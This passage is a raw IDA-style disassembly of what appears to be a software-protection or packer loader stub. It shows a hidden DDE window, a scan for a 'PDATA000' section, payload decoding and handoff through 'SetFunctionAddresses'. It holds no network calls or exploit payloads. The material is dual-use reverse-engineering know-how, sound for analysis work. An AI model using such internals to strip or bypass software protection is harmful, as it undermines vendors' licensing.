var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 60h
		call	sub_4B36BD
		and	eax, 0FFh
		test	eax, eax
		jz	loc_4B401B
		mov	[ebp+var_30], offset aSwpdde ; "SwPDDE"
		mov	[ebp+var_2C], 0Bh
		mov	[ebp+var_28], offset sub_4B40C4
		mov	[ebp+var_24], 0
		mov	[ebp+var_20], 0
		push	0
		call	dword_4ED050	; GetModuleHandleA
		mov	[ebp+var_1C], eax
		mov	[ebp+var_18], 0
		push	7F00h
		push	0
		call	dword_4ED240	; LoadCursorA
		mov	[ebp+var_14], eax
		mov	[ebp+var_10], 6
		mov	[ebp+var_C], 0
		mov	eax, [ebp+var_30]
		mov	[ebp+var_8], eax
		lea	ecx, [ebp+var_2C]
		push	ecx
		call	dword_4ED244	; RegisterClassW
		push	0
		push	0
		call	dword_4ED050	; GetModuleHandleA
		push	eax
		push	0
		push	0
		push	80000000h
		push	80000000h
		push	80000000h
		push	80000000h
		push	2CF0000h
		push	offset off_4ED374
		mov	edx, [ebp+var_30]
		push	edx
		push	40300h
		call	dword_4ED248	; CreateWindowExW
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		jmp	loc_4B40C0
; ---------------------------------------------------------------------------


loc_4B401B:				; CODE XREF: sub_4B3F59+12j
		mov	[ebp+var_60], offset aSwpdde_0 ; "SwPDDE"
		mov	[ebp+var_5C], 0Bh
		mov	[ebp+var_58], offset sub_4B40C4
		mov	[ebp+var_54], 0
		mov	[ebp+var_50], 0
		push	0
		call	dword_4ED050	; GetModuleHandleA
		mov	[ebp+var_4C], eax
		mov	[ebp+var_48], 0
		push	7F00h
		push	0
		call	dword_4ED240	; LoadCursorA
		mov	[ebp+var_44], eax
		mov	[ebp+var_40], 6
		mov	[ebp+var_3C], 0
		mov	eax, [ebp+var_60]
		mov	[ebp+var_38], eax
		lea	ecx, [ebp+var_5C]
		push	ecx
		call	dword_4ED24C	; RegisterClassA
		push	0
		push	0
		call	dword_4ED050	; GetModuleHandleA
		push	eax
		push	0
		push	0
		push	80000000h
		push	80000000h
		push	80000000h
		push	80000000h
		push	2CF0000h
		push	offset aDdeProcessing ;	"DDE Processing"
		mov	edx, [ebp+var_60]
		push	edx
		push	40300h
		call	dword_4ED250	; CreateWindowExA
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_34]


loc_4B40C0:				; CODE XREF: sub_4B3F59+BDj
		mov	esp, ebp
		pop	ebp
		retn
sub_4B3F59	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4B40C4	proc near		; DATA XREF: sub_4B3F59+26o
					; sub_4B3F59+D0o

var_628		= dword	ptr -628h
var_624		= dword	ptr -624h
var_620		= dword	ptr -620h
var_61C		= dword	ptr -61Ch
var_618		= dword	ptr -618h
var_614		= dword	ptr -614h
var_610		= dword	ptr -610h
var_60C		= byte ptr -60Ch
var_60B		= byte ptr -60Bh
Str		= byte ptr -50Ch
var_50B		= byte ptr -50Bh
var_40C		= word ptr -40Ch
var_40A		= byte ptr -40Ah
Str1		= word ptr -20Ch
var_20A		= byte ptr -20Ah
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 628h
		push	edi
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_628], eax
		mov	ecx, [ebp+var_628]
		sub	ecx, 3E0h
		mov	[ebp+var_628], ecx
		cmp	[ebp+var_628], 8
		ja	loc_4B4540
		mov	edx, [ebp+var_628]
		jmp	ds:off_4B455D[edx*4]


loc_4B4103:				; DATA XREF: .text:off_4B455Do
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_4], eax
		mov	cx, word ptr [ebp+arg_C]
		mov	word ptr [ebp+var_8], cx
		mov	edx, [ebp+arg_C]
		shr	edx, 10h
		and	edx, 0FFFFh
		mov	word ptr [ebp+var_C], dx
		call	sub_4B36BD
		and	eax, 0FFh
		test	eax, eax
		jz	loc_4B4264
		mov	ax, word_4F4124
		mov	[ebp+Str1], ax
		mov	ecx, 7Fh
		xor	eax, eax
		lea	edi, [ebp+var_20A]
		rep stosd
		stosw
		mov	cx, word_4F4124
		mov	[ebp+var_40C], cx
		mov	ecx, 7Fh
		xor	eax, eax
		lea	edi, [ebp+var_40A]
		rep stosd
		stosw
		push	100h
		lea	edx, [ebp+Str1]
		push	edx
		mov	ax, word ptr [ebp+var_8]
		push	eax
		call	dword_4ED060	; GlobalGetAtomNameW
		push	100h
		lea	ecx, [ebp+var_40C]
		push	ecx
		mov	dx, word ptr [ebp+var_C]
		push	edx
		call	dword_4ED060	; GlobalGetAtomNameW
		lea	eax, [ebp+Str1]
		push	eax		; Str
		call	_wcslen_0
		add	esp, 4
		test	eax, eax
		jz	loc_4B425F
		push	offset aPacked	; "packed"
		lea	ecx, [ebp+Str1]
		push	ecx		; Str1
		call	__wcsicmp_0
		add	esp, 8
		test	eax, eax
		jz	short loc_4B41E5
		push	offset aPacked_0 ; "packed"
		lea	edx, [ebp+Str1]
		push	edx		; Str1
		call	__wcsicmp_0
		add	esp, 8
		test	eax, eax
		jnz	short loc_4B425F


loc_4B41E5:				; CODE XREF: sub_4B40C4+107j
		push	offset aSystem	; "System"
		lea	eax, [ebp+var_40C]
		push	eax		; Str1
		call	__wcsicmp_0
		add	esp, 8
		test	eax, eax
		jnz	short loc_4B425F
		mov	cx, word ptr [ebp+var_8]
		push	ecx
		call	dword_4ED05C	; GlobalDeleteAtom
		mov	dx, word ptr [ebp+var_C]
		push	edx
		call	dword_4ED05C	; GlobalDeleteAtom
		lea	eax, [ebp+Str1]
		push	eax
		call	dword_4ED04C	; GlobalAddAtomW
		mov	word ptr [ebp+var_8], ax
		lea	ecx, [ebp+var_40C]
		push	ecx
		call	dword_4ED04C	; GlobalAddAtomW
		mov	word ptr [ebp+var_C], ax
		mov	edx, [ebp+var_8]
		and	edx, 0FFFFh
		mov	eax, [ebp+var_C]
		and	eax, 0FFFFh
		shl	eax, 10h
		or	edx, eax
		push	edx
		mov	ecx, [ebp+arg_0]
		push	ecx
		push	3E4h
		mov	edx, [ebp+var_4]
		push	edx
		call	dword_4ED258	; SendMessageW


loc_4B425F:				; CODE XREF: sub_4B40C4+EBj
					; sub_4B40C4+11Fj ...
		jmp	loc_4B438E
; ---------------------------------------------------------------------------


loc_4B4264:				; CODE XREF: sub_4B40C4+69j
		mov	al, byte_4F4120
		mov	[ebp+Str], al
		mov	ecx, 3Fh
		xor	eax, eax
		lea	edi, [ebp+var_50B]
		rep stosd
		stosw
		stosb
		mov	cl, byte_4F4120
		mov	[ebp+var_60C], cl
		mov	ecx, 3Fh
		xor	eax, eax
		lea	edi, [ebp+var_60B]
		rep stosd
		stosw
		stosb
		push	100h
		lea	edx, [ebp+Str]
		push	edx
		mov	ax, word ptr [ebp+var_8]
		push	eax
		call	dword_4ED058	; GlobalGetAtomNameA
		push	100h
		lea	ecx, [ebp+var_60C]
		push	ecx
		mov	dx, word ptr [ebp+var_C]
		push	edx
		call	dword_4ED058	; GlobalGetAtomNameA
		lea	eax, [ebp+Str]
		push	eax		; Str
		call	_strlen_0
		add	esp, 4
		test	eax, eax
		jz	loc_4B438E
		push	offset dword_4F3B04
		lea	ecx, [ebp+Str]
		push	ecx
		call	unknown_libname_20 ; Microsoft VisualC 2-8/net runtime
		add	esp, 8
		test	eax, eax
		jz	short loc_4B4314
		push	offset dword_4F3C08
		lea	edx, [ebp+Str]
		push	edx
		call	unknown_libname_20 ; Microsoft VisualC 2-8/net runtime
		add	esp, 8
		test	eax, eax
		jnz	short loc_4B438E


loc_4B4314:				; CODE XREF: sub_4B40C4+236j
		push	offset aSystem_0 ; "System"
		lea	eax, [ebp+var_60C]
		push	eax
		call	unknown_libname_20 ; Microsoft VisualC 2-8/net runtime
		add	esp, 8
		test	eax, eax
		jnz	short loc_4B438E
		mov	cx, word ptr [ebp+var_8]
		push	ecx
		call	dword_4ED05C	; GlobalDeleteAtom
		mov	dx, word ptr [ebp+var_C]
		push	edx
		call	dword_4ED05C	; GlobalDeleteAtom
		lea	eax, [ebp+Str]
		push	eax
		call	dword_4ED048	; GlobalAddAtomA
		mov	word ptr [ebp+var_8], ax
		lea	ecx, [ebp+var_60C]
		push	ecx
		call	dword_4ED048	; GlobalAddAtomA
		mov	word ptr [ebp+var_C], ax
		mov	edx, [ebp+var_8]
		and	edx, 0FFFFh
		mov	eax, [ebp+var_C]
		and	eax, 0FFFFh
		shl	eax, 10h
		or	edx, eax
		push	edx
		mov	ecx, [ebp+arg_0]
		push	ecx
		push	3E4h
		mov	edx, [ebp+var_4]
		push	edx
		call	dword_4ED25C	; SendMessageA


loc_4B438E:				; CODE XREF: sub_4B40C4:loc_4B425Fj
					; sub_4B40C4+21Aj ...
		xor	eax, eax
		jmp	loc_4B4556
; ---------------------------------------------------------------------------


loc_4B4395:				; CODE XREF: sub_4B40C4+38j
					; DATA XREF: .text:004B457Do
		call	sub_4B36BD
		and	eax, 0FFh
		test	eax, eax
		jz	short loc_4B43D0
		mov	eax, [ebp+arg_C]
		push	eax
		call	dword_4ED034	; GlobalLock
		mov	[ebp+var_610], eax
		mov	ecx, [ebp+var_610]
		push	ecx		; Str
		mov	ecx, offset dword_4F3AD8
		call	sub_4B38D3
		mov	edx, [ebp+arg_C]
		push	edx
		call	dword_4ED030	; GlobalUnlock
		jmp	short loc_4B43FB
; ---------------------------------------------------------------------------


loc_4B43D0:				; CODE XREF: sub_4B40C4+2DDj
		mov	eax, [ebp+arg_C]
		push	eax
		call	dword_4ED034	; GlobalLock
		mov	[ebp+var_614], eax
		mov	ecx, [ebp+var_614]
		push	ecx		; Str
		mov	ecx, offset dword_4F3AD8
		call	sub_4B370A
		mov	edx, [ebp+arg_C]
		push	edx
		call	dword_4ED030	; GlobalUnlock


loc_4B43FB:				; CODE XREF: sub_4B40C4+30Aj
		mov	eax, [ebp+arg_C]
		push	eax
		push	8000h
		push	3E4h
		call	sub_4C85C4	; PackDDElParam
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		push	3E4h
		mov	edx, [ebp+arg_8]
		push	edx
		call	dword_4ED278	; PostMessageA
		xor	eax, eax
		jmp	loc_4B4556
; ---------------------------------------------------------------------------


loc_4B4429:				; CODE XREF: sub_4B40C4+38j
					; DATA XREF: .text:004B456Do
		call	dword_4ED230	; InSendMessage
		test	eax, eax
		jz	short loc_4B445E
		mov	eax, [ebp+arg_8]
		mov	dword_4F3ADC, eax
		mov	cx, word ptr [ebp+arg_C]
		push	ecx
		call	dword_4ED05C	; GlobalDeleteAtom
		mov	edx, [ebp+arg_C]
		shr	edx, 10h
		and	edx, 0FFFFh
		push	edx
		call	dword_4ED05C	; GlobalDeleteAtom
		jmp	loc_4B4516
; ---------------------------------------------------------------------------


loc_4B445E:				; CODE XREF: sub_4B40C4+36Dj
		lea	eax, [ebp+var_61C]
		push	eax
		lea	ecx, [ebp+var_618]
		push	ecx
		mov	edx, [ebp+arg_C]
		push	edx
		push	3E4h
		call	sub_4C85D0	; UnpackDDElParam
		mov	eax, [ebp+var_618]
		and	eax, 8000h
		test	eax, eax
		jnz	short loc_4B44FB
		call	sub_4B36BD
		and	eax, 0FFh
		test	eax, eax
		jz	short loc_4B44CA
		mov	ecx, [ebp+var_61C]
		push	ecx
		call	dword_4ED034	; GlobalLock
		mov	[ebp+var_620], eax
		mov	edx, [ebp+var_620]
		push	edx		; Str
		mov	ecx, offset dword_4F3AD8
		call	sub_4B38D3
		mov	eax, [ebp+var_61C]
		push	eax
		call	dword_4ED030	; GlobalUnlock
		jmp	short loc_4B44FB
; ---------------------------------------------------------------------------


loc_4B44CA:				; CODE XREF: sub_4B40C4+3D1j
		mov	ecx, [ebp+var_61C]
		push	ecx
		call	dword_4ED034	; GlobalLock
		mov	[ebp+var_624], eax
		mov	edx, [ebp+var_624]
		push	edx		; Str
		mov	ecx, offset dword_4F3AD8
		call	sub_4B370A
		mov	eax, [ebp+var_61C]
		push	eax
		call	dword_4ED030	; GlobalUnlock


loc_4B44FB:				; CODE XREF: sub_4B40C4+3C3j
					; sub_4B40C4+404j
		mov	ecx, [ebp+arg_C]
		push	ecx
		push	3E4h
		call	sub_4C85CA	; FreeDDElParam
		mov	edx, [ebp+var_61C]
		push	edx
		call	dword_4ED054	; GlobalFree


loc_4B4516:				; CODE XREF: sub_4B40C4+395j
		xor	eax, eax
		jmp	short loc_4B4556
; ---------------------------------------------------------------------------


loc_4B451A:				; CODE XREF: sub_4B40C4+38j
					; DATA XREF: .text:004B4561o
		push	0
		push	0
		mov	eax, [ebp+arg_0]
		push	eax
		push	3E1h
		call	sub_4C85C4	; PackDDElParam
		push	eax
		push	3E1h
		mov	ecx, [ebp+arg_8]
		push	ecx
		call	dword_4ED278	; PostMessageA
		xor	eax, eax
		jmp	short loc_4B4556
; ---------------------------------------------------------------------------


loc_4B4540:				; CODE XREF: sub_4B40C4+2Cj
					; sub_4B40C4+38j
					; DATA XREF: ...
		mov	edx, [ebp+arg_C]
		push	edx
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+arg_4]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		call	dword_4ED23C	; DefWindowProcA


loc_4B4556:				; CODE XREF: sub_4B40C4+2CCj
					; sub_4B40C4+360j ...
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn	10h
sub_4B40C4	endp

; ---------------------------------------------------------------------------
off_4B455D	dd offset loc_4B4103	; DATA XREF: sub_4B40C4+38r
		dd offset loc_4B451A
		dd offset loc_4B4540
		dd offset loc_4B4540
		dd offset loc_4B4429
		dd offset loc_4B4540
		dd offset loc_4B4540
		dd offset loc_4B4540
		dd offset loc_4B4395

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4B4581	proc near		; CODE XREF: .text:004B999Fp
					; .text:004B9A8Ep

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		mov	dword_4F3B00, eax
		pop	ebp
		retn
sub_4B4581	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+8]
		mov	ecx, 0Ah
		mov	al, 0CCh
		repne scasb
		test	ecx, ecx
		jnz	short loc_4B45AA
		xor	al, al
		jmp	short loc_4B45AC
; ---------------------------------------------------------------------------


loc_4B45AA:				; CODE XREF: .text:004B45A4j
		mov	al, 1


loc_4B45AC:				; CODE XREF: .text:004B45A8j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4B45B1	proc near		; CODE XREF: .text:004B5FEFp
					; WinMain(x,x,x,x)+339p
		push	ebp
		mov	ebp, esp
		mov	eax, dword_4F4370
		mov	eax, off_4ED444[eax*4]
		pop	ebp
		retn
sub_4B45B1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4B45C2	proc near		; CODE XREF: .text:004B6004p
					; .text:004B602Ap ...
		push	ebp
		mov	ebp, esp
		mov	eax, offset byte_4F4374
		pop	ebp
		retn
sub_4B45C2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_4B45CC	proc near		; DATA XREF: .text:004B56CDo
					; .text:loc_4B5DECo ...
		push	ebp
		mov	ebp, esp
		push	10h
		push	0
		push	offset aInsufficientMe ; "Insufficient memory!"
		push	0
		call	dword_4ED22C	; MessageBoxA
		push	1		; Code
		call	_exit_0
sub_4B45CC	endp

; ---------------------------------------------------------------------------
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4B45E9	proc near		; DATA XREF: sub_4B45FB+15Eo

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		and	eax, 0FFFFh
		mov	dword_4F4494, eax
		pop	ebp
		retn
sub_4B45E9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4B45FB	proc near		; CODE XREF: .text:loc_4B5DB9p
					; sub_4B5E8E+79p

var_5C		= dword	ptr -5Ch
var_58		= dword	ptr -58h
Src		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 5Ch
		mov	eax, dword_4ED3B0
		xor	eax, dword_4ED3FC
		xor	eax, dword_4ED3F0
		and	eax, 3
		push	eax
		call	sub_490060
		add	esp, 4
		call	sub_4B48AD
		mov	[ebp+var_4C], eax
		cmp	[ebp+var_4C], 0
		jnz	short loc_4B463D
		mov	dword_4F4370, 1
		xor	eax, eax
		jmp	loc_4B48A9
; ---------------------------------------------------------------------------


loc_4B463D:				; CODE XREF: sub_4B45FB+2Fj
		mov	ecx, [ebp+var_4C]
		add	ecx, 8
		mov	[ebp+Src], ecx
		mov	byte ptr [ebp+var_48], 0
		cmp	dword_4F4130, 1
		jnz	short loc_4B46AC
		mov	edx, dword_4F4138
		movsx	eax, byte ptr [edx]
		cmp	eax, 2Fh
		jz	short loc_4B466F
		mov	ecx, dword_4F4138
		movsx	edx, byte ptr [ecx]
		cmp	edx, 2Dh
		jnz	short loc_4B46AC


loc_4B466F:				; CODE XREF: sub_4B45FB+64j
		push	1		; MaxCount
		push	offset aS_8	; "s"
		mov	eax, dword_4F4138
		add	eax, 1
		push	eax		; Str1
		call	__strnicmp
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_4B46A8
		push	1		; MaxCount
		push	offset aP	; "p"
		mov	ecx, dword_4F4138
		add	ecx, 1
		push	ecx		; Str1
		call	__strnicmp
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_4B46AC


loc_4B46A8:				; CODE XREF: sub_4B45FB+8Ej
		mov	byte ptr [ebp+var_48], 1


loc_4B46AC:				; CODE XREF: sub_4B45FB+56j
					; sub_4B45FB+72j ...
		mov	[ebp+var_50], 0
		mov	dl, byte ptr [ebp+var_48]
		push	edx		; int
		lea	eax, [ebp+var_50]
		push	eax		; int
		mov	ecx, [ebp+Src]
		push	ecx		; Src
		call	sub_4B4965
		add	esp, 0Ch
		mov	[ebp+Src], eax
		cmp	[ebp+Src], 0
		jnz	short loc_4B46D7
		xor	eax, eax
		jmp	loc_4B48A9
; ---------------------------------------------------------------------------


loc_4B46D7:				; CODE XREF: sub_4B45FB+D3j
		mov	edx, [ebp+Src]
		push	edx
		call	loc_4B4D00
		add	esp, 4
		mov	[ebp+Src], eax
		cmp	[ebp+Src], 0
		jnz	short loc_4B46F3
		xor	eax, eax
		jmp	loc_4B48A9
; ---------------------------------------------------------------------------


loc_4B46F3:				; CODE XREF: sub_4B45FB+EFj
		push	0
		push	1
		mov	eax, dword_4F4364
		push	eax
		call	dword_4F4368
		test	eax, eax
		jnz	short loc_4B4718
		mov	dword_4F4370, 5
		xor	eax, eax
		jmp	loc_4B48A9
; ---------------------------------------------------------------------------


loc_4B4718:				; CODE XREF: sub_4B45FB+10Aj
		push	offset aSetfunctionadd ; "SetFunctionAddresses"
		mov	ecx, dword_4F4364
		push	ecx
		call	sub_4B55B0
		add	esp, 8
		mov	[ebp+var_58], eax
		lea	edx, [ebp+var_C]
		push	edx
		lea	eax, [ebp+var_44]
		push	eax
		lea	ecx, [ebp+var_40]
		push	ecx
		mov	edx, dword_4ED414
		xor	edx, dword_4ED41C
		xor	edx, dword_4ED3FC
		xor	edx, dword_4ED420
		push	edx
		push	offset sub_4B6828
		push	offset sub_4B45E9
		push	offset sub_4B6BB7
		push	offset sub_490FB0
		push	offset sub_49034E
		push	offset sub_48FF4B
		push	offset sub_48FEF2
		push	offset sub_48FED8
		push	offset sub_48F7F0
		mov	eax, dword_4F4480
		push	eax
		call	[ebp+var_58]
		add	esp, 38h
		mov	ecx, [ebp+var_40]
		mov	[ebp+var_10], ecx
		mov	edx, [ebp+var_44]
		mov	dword_4F4158, edx
		mov	eax, [ebp+var_C]
		mov	dword_4F4154, eax
		mov	[ebp+var_8], 0
		mov	ecx, [ebp+var_48]
		and	ecx, 0FFh
		test	ecx, ecx
		jz	short loc_4B47C1
		mov	edx, [ebp+var_8]
		or	edx, 1
		mov	[ebp+var_8], edx


loc_4B47C1:				; CODE XREF: sub_4B45FB+1BBj
		xor	eax, eax
		mov	al, byte_4F4488
		test	eax, eax
		jz	short loc_4B47DB
		mov	ecx, [ebp+var_8]
		or	ecx, 2
		mov	[ebp+var_8], ecx
		call	dword_4ED064	; FreeConsole


loc_4B47DB:				; CODE XREF: sub_4B45FB+1CFj
		xor	edx, edx
		mov	dl, byte_4F4488
		test	edx, edx
		jz	short loc_4B47FE
		cmp	[ebp+var_50], 0
		jz	short loc_4B47FE
		mov	eax, [ebp+var_50]
		push	eax
		call	dword_4ED228	; DestroyWindow
		mov	[ebp+var_50], 0


loc_4B47FE:				; CODE XREF: sub_4B45FB+1EAj
					; sub_4B45FB+1F0j
		mov	[ebp+var_3C], offset dword_4F4370
		mov	[ebp+var_38], offset byte_4F4374
		mov	[ebp+var_34], offset dword_4ED3A8
		mov	ecx, [ebp+Src]
		mov	[ebp+var_30], ecx
		mov	edx, [ebp+var_4C]
		mov	[ebp+var_2C], edx
		mov	eax, dword_4F4484
		mov	[ebp+var_28], eax
		lea	ecx, [ebp+var_8]
		mov	[ebp+var_24], ecx
		mov	[ebp+var_20], offset byte_4F415C
		cmp	dword_4F4130, 2
		jnz	short loc_4B4848
		mov	edx, dword_4F414C
		mov	[ebp+var_5C], edx
		jmp	short loc_4B4853
; ---------------------------------------------------------------------------


loc_4B4848:				; CODE XREF: sub_4B45FB+240j
		push	0
		call	dword_4ED050	; GetModuleHandleA
		mov	[ebp+var_5C], eax


loc_4B4853:				; CODE XREF: sub_4B45FB+24Bj
		mov	eax, [ebp+var_5C]
		mov	[ebp+var_1C], eax
		mov	ecx, dword_4ED3A4
		mov	[ebp+var_18], ecx
		mov	[ebp+var_14], 0FFFFFFFFh
		lea	edx, [ebp+var_3C]
		push	edx
		call	[ebp+var_10]
		add	esp, 4
		mov	[ebp+var_4], eax
		cmp	[ebp+var_14], 0FFFFFFFFh
		jz	short loc_4B4886
		mov	eax, [ebp+var_14]
		mov	dword_4F473C, eax
		jmp	short loc_4B4896
; ---------------------------------------------------------------------------


loc_4B4886:				; CODE XREF: sub_4B45FB+27Fj
		cmp	[ebp+var_4], 1
		jz	short loc_4B4896
		mov	dword_4F473C, 1


loc_4B4896:				; CODE XREF: sub_4B45FB+289j
					; sub_4B45FB+28Fj
		cmp	[ebp+var_50], 0
		jz	short loc_4B48A6
		mov	ecx, [ebp+var_50]
		push	ecx
		call	dword_4ED228	; DestroyWindow


loc_4B48A6:				; CODE XREF: sub_4B45FB+29Fj
		mov	eax, [ebp+var_4]


loc_4B48A9:				; CODE XREF: sub_4B45FB+3Dj
					; sub_4B45FB+D7j ...
		mov	esp, ebp
		pop	ebp
		retn
sub_4B45FB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4B48AD	proc near		; CODE XREF: sub_4B45FB+23p

Buf1		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, dword_4F4480
		mov	[ebp+var_14], eax
		cmp	[ebp+var_14], 0
		jnz	short loc_4B48C8
		xor	eax, eax
		jmp	loc_4B4961
; ---------------------------------------------------------------------------


loc_4B48C8:				; CODE XREF: sub_4B48AD+12j
		mov	ecx, [ebp+var_14]
		mov	[ebp+var_10], ecx
		mov	edx, [ebp+var_10]
		mov	eax, [ebp+var_14]
		add	eax, [edx+3Ch]
		mov	[ebp+var_1C], eax
		mov	ecx, [ebp+var_1C]
		add	ecx, 0F8h
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+var_C]
		mov	[ebp+var_18], edx
		mov	eax, [ebp+var_1C]
		xor	ecx, ecx
		mov	cx, [eax+6]
		mov	[ebp+var_4], ecx
		mov	[ebp+var_8], 0
		jmp	short loc_4B4913
; ---------------------------------------------------------------------------


loc_4B4901:				; CODE XREF: sub_4B48AD:loc_4B4933j
					; sub_4B48AD:loc_4B495Dj
		mov	edx, [ebp+var_8]
		add	edx, 1
		mov	[ebp+var_8], edx
		mov	eax, [ebp+var_18]
		add	eax, 28h
		mov	[ebp+var_18], eax


loc_4B4913:				; CODE XREF: sub_4B48AD+52j
		mov	ecx, [ebp+var_8]
		cmp	ecx, [ebp+var_4]
		jge	short loc_4B495F
		mov	edx, [ebp+var_18]
		mov	eax, [edx+24h]
		and	eax, 40000000h
		test	eax, eax
		jz	short loc_4B4933
		mov	ecx, [ebp+var_18]
		cmp	dword ptr [ecx+10h], 8
		jnb	short loc_4B4935


loc_4B4933:				; CODE XREF: sub_4B48AD+7Bj
		jmp	short loc_4B4901
; ---------------------------------------------------------------------------


loc_4B4935:				; CODE XREF: sub_4B48AD+84j
		mov	edx, [ebp+var_18]
		mov	eax, [ebp+var_14]
		add	eax, [edx+0Ch]
		mov	[ebp+Buf1], eax
		push	8		; Size
		push	offset aPdata000 ; "PDATA000"
		mov	ecx, [ebp+Buf1]
		push	ecx		; Buf1
		call	_memcmp_0
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_4B495D
		mov	eax, [ebp+Buf1]
		jmp	short loc_4B4961
; ---------------------------------------------------------------------------


loc_4B495D:				; CODE XREF: sub_4B48AD+A9j
		jmp	short loc_4B4901
; ---------------------------------------------------------------------------


loc_4B495F:				; CODE XREF: sub_4B48AD+6Cj
		xor	eax, eax


loc_4B4961:				; CODE XREF: sub_4B48AD+16j
					; sub_4B48AD+AEj
		mov	esp, ebp
		pop	ebp
		retn
sub_4B48AD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_4B4965(void *Src,int,int)

sub_4B4965	proc near		; CODE XREF: sub_4B45FB+C4p

var_120		= dword	ptr -120h
var_11C		= dword	ptr -11Ch
var_118		= dword	ptr -118h
var_114		= dword	ptr -114h
var_110		= dword	ptr -110h
var_10C		= byte ptr -10Ch
var_10B		= byte ptr -10Bh
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= byte ptr -4
Src		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 120h
		push	edi
		mov	eax, [ebp+arg_4]
		mov	dword ptr [eax], 0
		mov	ecx, [ebp+Src]
		mov	dl, [ecx]
		mov	[ebp+var_4], dl
		mov	eax, [ebp+Src]
		add	eax, 1
		mov	[ebp+Src], eax
		movsx	ecx, [ebp+var_4]
		cmp	ecx, 1
		jnz	short loc_4B49B3
		mov	edx, [ebp+arg_8]
		and	edx, 0FFh
		test	edx, edx
		jnz	short loc_4B49AE
		push	0
		call	sub_4B6060
		add	esp, 4
		mov	ecx, [ebp+arg_4]
		mov	[ecx], eax


loc_4B49AE:				; CODE XREF: sub_4B4965+38j
		jmp	loc_4B4B40
; ---------------------------------------------------------------------------


loc_4B49B3:				; CODE XREF: sub_4B4965+2Bj
		movsx	edx, [ebp+var_4]
		cmp	edx, 2
		jz	short loc_4B49C9
		movsx	eax, [ebp+var_4]
		cmp	eax, 3
		jnz	loc_4B4B40


loc_4B49C9:				; CODE XREF: sub_4B4965+55j
		mov	ecx, [ebp+Src]
		xor	edx, edx
		mov	dx, [ecx]
		mov	dword_4F4494, edx
		mov	eax, [ebp+Src]
		add	eax, 2
		mov	[ebp+Src], eax
		mov	ecx, [ebp+Src]
		mov	edx, [ecx]
		mov	[ebp+var_114], edx
		mov	eax, [ebp+Src]
		add	eax, 4
		mov	[ebp+Src], eax
		mov	ecx, [ebp+var_114]
		add	ecx, 10000h
		push	ecx
		call	sub_4C85E1
		add	esp, 4
		mov	[ebp+var_11C], eax
		mov	edx, [ebp+var_11C]
		mov	[ebp+var_110], edx
		mov	eax, [ebp+var_110]
		mov	[ebp+var_8], eax


loc_4B4A24:				; CODE XREF: sub_4B4965+10Ej
		mov	ecx, 1
		test	ecx, ecx
		jz	short loc_4B4A75
		mov	edx, [ebp+var_114]
		add	edx, 10000h
		mov	[ebp+var_C], edx
		push	0		; int
		lea	eax, [ebp+var_C]
		push	eax		; int
		mov	ecx, [ebp+var_8]
		push	ecx		; int
		mov	edx, [ebp+Src]
		push	edx		; Src
		call	sub_4B4BB9
		add	esp, 10h
